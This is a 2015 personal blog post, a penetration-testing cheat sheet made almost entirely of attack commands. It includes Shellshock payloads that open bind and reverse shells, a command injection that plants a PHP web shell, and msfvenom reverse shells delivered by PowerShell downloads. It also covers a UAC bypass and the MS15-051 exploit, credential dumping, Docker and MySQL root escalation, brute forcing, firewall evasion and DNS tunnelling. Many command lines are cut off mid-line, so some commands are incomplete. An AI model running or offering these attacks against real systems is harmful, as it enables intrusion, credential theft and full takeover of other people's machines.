EK

menu

Pentest Tips and Tricks #2

Pentest Handy Tips and Tricks - part 2.

Other Parts

- Part 1
- Part 2

Tor Nat Traversal

```
# install to server
$ apt-get install tor torsocks

# bind ssh to tor service port 80
# /etc/tor/torrc
SocksPolicy accept 127.0.0.1
SocksPolicy accept 192.168.0.0/16
Log notice file /var/log/tor/notices.log
RunAsDaemon 1
HiddenServiceDir /var/lib/tor/ssh_hidden_service/
HiddenServicePort 80 127.0.0.1:22
PublishServerDescriptor 0
$ /etc/init.d/tor start
$ cat /var/lib/tor/ssh_hidden_service/hostname
3l5zstvt1zk5jhl662.onion

# ssh connect from client
$ apt-get install torsocks
$ torsocks ssh login@3l5zstvt1zk5jhl662.onion -p 80
```

DNS brute forcing with fierce

```
# http://ha.ckers.org/fierce/
$ ./fierce.pl -dns example.com
$ ./fierce.pl -dns example.com -wordlist myWordList.txt
```

Metagoofil metadata gathering tool

```
# http://www.edge-security.com/metagoofil.php
#automate search engine document retrieval and analysis. It also has the capability to
# addresses, username listings, and more
$ python metagoofil.py -d example.com -t doc,pdf -l 200 -n 50 -o examplefiles -f resul
```

A best NMAP scan strategy

```
# A best nmap scan strategy for networks of all sizes

# Host Discovery - Generate Live Hosts List
$ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24
$ grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt

# Port Discovery - Most Common Ports
# http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf
$ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt
$ nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt

# Port Discovery - Full Port Scans (UDP is very slow)
$ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt

# Print TCP\UDP Ports
$ grep "open" FullTCP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,
$ grep "open" FullUDP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,

# Detect Service Version
$ nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt

# Operating System Scan
$ nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt

# OS and Service Detect
$ nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL Li
```

Nmap – Techniques for Avoiding Firewalls

```
# fragmentation
$ nmap -f

# change default MTU size number must be a multiple of 8 (8,16,24,32 etc)
$ nmap --mtu 24
```

```
# Generates a random number of decoys
$ nmap -D RND:10 [target]

# Manually specify the IP addresses of the decoys
$ nmap -D decoy1,decoy2,decoy3 etc.

# Idle Zombie Scan, first t need to find zombie ip
$ nmap -sI [Zombie IP] [Target IP]

# Source port number specification
$ nmap --source-port 80 IP

# Append Random Data to scan packages
$ nmap --data-length 25 IP

# MAC Address Spoofing, generate different mac for host pc
$ nmap --spoof-mac Dell/Apple/3Com IP
```

Exploit servers to Shellshock

```
# A tool to find and exploit servers vulnerable to Shellshock
# https://github.com/nccgroup/shocker
$ ./shocker.py -H 192.168.56.118  --command "/bin/cat /etc/passwd" -c /cgi-bin/status

# cat file
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd

# bind shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 99

# reverse Shell
$ nc -l -p 443
$ echo "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.56.
```

Root with Docker

```
# get root with docker
# user must be in docker group
ek@victum:~/docker-test$ id
uid=1001(ek) gid=1001(ek) groups=1001(ek),114(docker)

ek@victum:~$ mkdir docker-test
ek@victum:~$ cd docker-test

ek@victum:~$ cat > Dockerfile
FROM debian:wheezy
```

```
ENV WORKDIR /stuff

RUN mkdir -p $WORKDIR

VOLUME [ $WORKDIR ]

WORKDIR $WORKDIR
<< EOF

ek@victum:~$ docker build -t my-docker-image .
ek@victum:~$ docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c \
'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh'
./sh
whoami
# root

ek@victum:~$ docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat /stuff/shado
```

Tunneling Over DNS to Bypass Firewall

```
# Tunneling Data and Commands Over DNS to Bypass Firewalls
# dnscat2 supports "download" and "upload" commands for getting files (data and prograı

# server (attacker)
$ apt-get update
$ apt-get -y install ruby-dev git make g++
$ gem install bundler
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server
$ bundle install
$ ruby ./dnscat2.rb
dnscat2> New session established: 16059
dnscat2> session -i 16059

# client (victum)
# https://downloads.skullsecurity.org/dnscat2/
# https://github.com/lukebaggett/dnscat2-powershell
$ dnscat --host <dnscat server_ip>
```

Compile Assemble code

```
$ nasm -f elf32 simple32.asm -o simple32.o
$ ld -m elf_i386 simple32.o simple32

$ nasm -f elf64 simple.asm -o simple.o
$ ld simple.o -o simple
```

Pivoting to Internal Network Via Non Interactive Shell

```
# generate ssh key with shell
$ wget -O - -q "http://domain.tk/sh.php?cmd=whoami"
$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N \"\" "
$ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa"

# add tempuser at attacker ps
$ useradd -m tempuser
$ mkdir /home/tempuser/.ssh && chmod 700 /home/tempuser/.ssh
$ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa" > /home/tempuser/.ssh/autl
$ chmod 700 /home/tempuser/.ssh/authorized_keys
$ chown -R tempuser:tempuser /home/tempuser/.ssh

# create reverse ssh shell
$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyCheckin
```

Patator is a multi-purpose brute-forcer

```
# git clone https://github.com/lanjelot/patator.git /usr/share/patator

# SMTP bruteforce
$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john
$ patator smtp_login host=192.168.17.129 user=FILE1 password=FILE0 0=/usr/share/john/p
$ patator smtp_login host=192.168.17.129 helo='ehlo 192.168.17.128' user=FILE1 passwor
$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john
```

Metasploit Web terminal via Gotty

```
$ service postgresql start
$ msfdb init
$ apt-get install golang
$ mkdir /root/gocode
$ export GOPATH=/root/gocode
$ go get github.com/yudai/gotty
$ gocode/bin/gotty -a 127.0.0.1 -w msfconsole
# open in browser http://127.0.0.1:8080
```

Get full shell with POST RCE

```
attacker:~$ curl -i -s -k  -X 'POST' --data-binary $'IP=%3Bwhoami&submit=submit' 'http

attacker:~$ curl -i -s -k  -X 'POST' --data-binary $'IP=%3Becho+%27%3C%3Fphp+system%28
```

```
attacker:~$ curl http://victum.tk/shell.php?cmd=id

# download reverse shell to server (phpshell.php)
http://victum.tk/shell.php?cmd=php%20-r%20%27file_put_contents%28%22phpshell.php%22,%2

# run nc and execute phpshell.php
attacker:~$ nc -nvlp 1337
```

Exiftool - Read and write meta information in files

```
$ wget http://www.sno.phy.queensu.ca/~phil/exiftool/Image-ExifTool-10.13.tar.gz
$ tar xzf Image-ExifTool-10.13.tar.gz
$ cd Image-ExifTool-10.13
$ perl Makefile.PL
$ make
$ ./exiftool main.gif
```

Get SYSTEM with Admin reverse_shell on Win7

```
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.102 -f exe > danger.exe

#show account settings
net user <login>

# download psexec to kali
https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx

# upload psexec.exe file onto the victim machine with powershell script
echo $client = New-Object System.Net.WebClient > script.ps1
echo $targetlocation = "http://192.168.56.102/PsExec.exe" >> script.ps1
echo $client.DownloadFile($targetlocation,"psexec.exe") >> script.ps1
powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script.ps1

# upload danger.exe file onto the victim machine with powershell script
echo $client = New-Object System.Net.WebClient > script2.ps1
echo $targetlocation = "http://192.168.56.102/danger.exe" >> script2.ps1
echo $client.DownloadFile($targetlocation,"danger.exe") >> script2.ps1
powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script2.ps1

# UAC bypass from precompiled binaries:
https://github.com/hfiref0x/UACME

# upload https://github.com/hfiref0x/UACME/blob/master/Compiled/Akagi64.exe to victim
echo $client = New-Object System.Net.WebClient > script2.ps1
echo $targetlocation = "http://192.168.56.102/Akagi64.exe" >> script3.ps1
echo $client.DownloadFile($targetlocation,"Akagi64.exe") >> script3.ps1
powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script3.ps1
```

```
# create listener on kali
nc -lvp 4444

# Use Akagi64 to run the danger.exe file with SYSTEM privileges
Akagi64.exe 1 C:\Users\User\Desktop\danger.exe

# create listener on kali
nc -lvp 4444

# The above step should give us a reverse shell with elevated privileges
# Use PsExec to run the danger.exe file with SYSTEM privileges
psexec.exe -i -d -accepteula -s danger.exe
```

Get SYSTEM with Standard user reverse_shell on Win7

```
https://technet.microsoft.com/en-us/security/bulletin/dn602597.aspx #ms15-051
https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html
https://www.exploit-db.com/exploits/37049/

# check the list of patches applied on the target machine
# to get the list of Hotfixes installed, type in the following command.
wmic qfe get
wmic qfe | find "3057191"

# Upload compile exploit to victim machine and run it
https://github.com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou64.exe

# by default exploite exec cmd.exe with SYSTEM privileges, we need to change source co
# https://github.com/hfiref0x/CVE-2015-1701 download it and navigate to the file "main

# dump clear text password of the currently logged in user using wce.exe
http://www.ampliasecurity.com/research/windows-credentials-editor/
wce -w

# dump hashes of other users with pwdump7
http://www.heise.de/download/pwdump.html
# we can try online hash cracking tools such crackstation.net
```

Generate our own dic file based on the website content

```
$ cewl -m 4 -w dict.txt http://site.url
$ john --wordlist=dict.txt --rules --stdout
```

Bruteforce DNS records using Nmap

```
$ nmap --script dns-brute --script-args dns-brute.domain=foo.com,dns-brute.threads=6,d
$ nmap --script dns-brute www.foo.com
```

Identifying a WAF with Nmap

```
$ nmap -p 80,443 --script=http-waf-detect 192.168.56.102
$ nmap -p 80,443 --script=http-waf-fingerprint 192.168.56.102
$ wafw00f www.example.com
```

MS08-067 - without the use of Metasploit

```
$ nmap -v -p 139, 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.31.205
$ searchsploit ms08-067
$ python /usr/share/exploitdb/platforms/windows/remote/7132.py 192.168.31.205 1
```

Nikto scan with SQUID proxy

```
$ nikto -useproxy http://squid_ip:3128 -h http://target_ip
```

Hijack a binary's full path in bash to exec your own code

```
$ function /usr/bin/foo () { /usr/bin/echo "It works"; }
$ export -f /usr/bin/foo
$ /usr/bin/foo
It works
```

Local privilege escalation through MySQL run with root privileges

```
# Mysql Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)
$ wget 0xdeadbeef.info/exploits/raptor_udf2.c
$ gcc -g -c raptor_udf2.c
$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
mysql -u root -p
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/home/user/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';
mysql> select * from mysql.func;
mysql> select do_system('echo "root:passwd" | chpasswd > /tmp/out; chown user:user /tm
```

```
user:~$ su -
Password:
user:~# whoami
root
root:~# id
uid=0(root) gid=0(root) groups=0(root)
```

Bruteforce SSH login with patator

```
root:~# patator ssh_login host=192.168.0.18 user=FILE0 password=FILE1 0=word.txt 1=wor
```

Using LD_PRELOAD to inject features to programs

```
$ wget https://github.com/jivoi/pentest/ldpreload_shell.c
$ gcc -shared -fPIC ldpreload_shell.c -o ldpreload_shell.so
$ sudo -u user LD_PRELOAD=/tmp/ldpreload_shell.so /usr/local/bin/somesoft
```

Exploit the OpenSSH User Enumeration Timing Attack

```
# https://github.com/c0r3dump3d/osueta
$ ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes
$ ./osueta.py -H 192.168.10.22 -p 22 -d 15 -v yes -dos no -L userfile.txt
```

Create a TCP circuit through validly formed HTTP requests with ReDuh

```
# https://github.com/sensepost/reDuh

# step 1
# upload reDuh.jsp to victim server
$ http://192.168.10.50/uploads/reDuh.jsp

# step 2
# run reDuhClient on attacker
$ java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp

# step 3
# connecting to management port with nc
$ nc -nvv 127.0.0.1 1010

# step 4
# forward localport to remote port with tunnel
```

```
[createTunnel] 7777:172.16.0.4:3389

# step 5
# connect to localhost with rdp
$ /usr/bin/rdesktop -g 1024x768 -P -z -x l -k en-us -r sound:off localhost:7777
```

EK

Totally not a hacker

Email Twitter Github

Pentest Tips and Tricks #2 was published on August 21, 2015 and last modified on August 21, 2015.

YOU MIGHT ALSO ENJOY **(VIEW ALL POSTS)**

- Move from HDD to SSD with ArchLinux
- Linux SysAdm/DevOps Interview Questions
- ArchLinux Installation Guide